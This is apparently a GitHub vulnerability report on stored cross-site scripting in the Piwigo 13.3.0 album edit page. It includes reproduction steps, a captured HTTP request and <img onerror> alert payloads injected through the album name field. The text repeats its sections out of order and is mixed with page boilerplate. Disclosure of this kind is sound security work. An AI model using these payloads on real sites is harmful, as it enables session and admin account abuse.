Vulnerability recurrence
1.Log in to the background,Click "Albums" ->"Manage ->"Edit Album"
2.input payload:,Submit。
PS:The vulnerability will be displayed.
Line 124 of admin.php directly outputs the parameter of album without filtering, which leads to this vulnerability.
Name:Piwigo
Version:13.3.0
Download Link: [Download](https://cn.piwigo.org/download/dlcounter.php?code=latest)

Problematic packets:
> POST /admin.php?page=album-1-properties HTTP/1.1
> Host: 10.1.35.85
> Content-Length: 83
> Cache-Control: max-age=0
> Upgrade-Insecure-Requests: 1
> Origin: http://10.1.35.85
> Content-Type: application/x-www-form-urlencoded
> User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
> Referer: http://10.1.35.85/admin.php?page=album-1-properties
> Accept-Encoding: gzip, deflate
> Accept-Language: zh-CN,zh;q=0.9
> Cookie: pwg_id=4krmi42ujo29itg4pcvk9msjh2
> Connection: close
>
> name=%3Cimg+src%3D%221%22+onerror%3D%22alert%281%29%22%3E&comment=&parent=0&submit=
>
Vulnerability recurrence
1.Log in to the background,Click "Albums" ->"Manage ->"Edit Album"

2.input payload:<img src="1" onerror="alert(document.domain)">,Submit。

PS:The vulnerability will be displayed.
Line 124 of admin.php directly outputs the parameter of album without filtering, which leads to this vulnerability.


<!-- github-sync-id:1493795513 -->
Blocking a user prevents them from interacting with repositories, such as opening or commenting on pull requests or issues. Learn more about blocking a user.
Name:Piwigo

Version:13.3.0
Download Link: Download
Problematic packets:
Vulnerability recurrence

,Submit。

1.Log in to the background,Click "Albums" ->"Manage ->"Edit Album"
2.input payload:
PS:The vulnerability will be displayed.
Line 124 of admin.php directly outputs the parameter of album without filtering, which leads to this vulnerability.

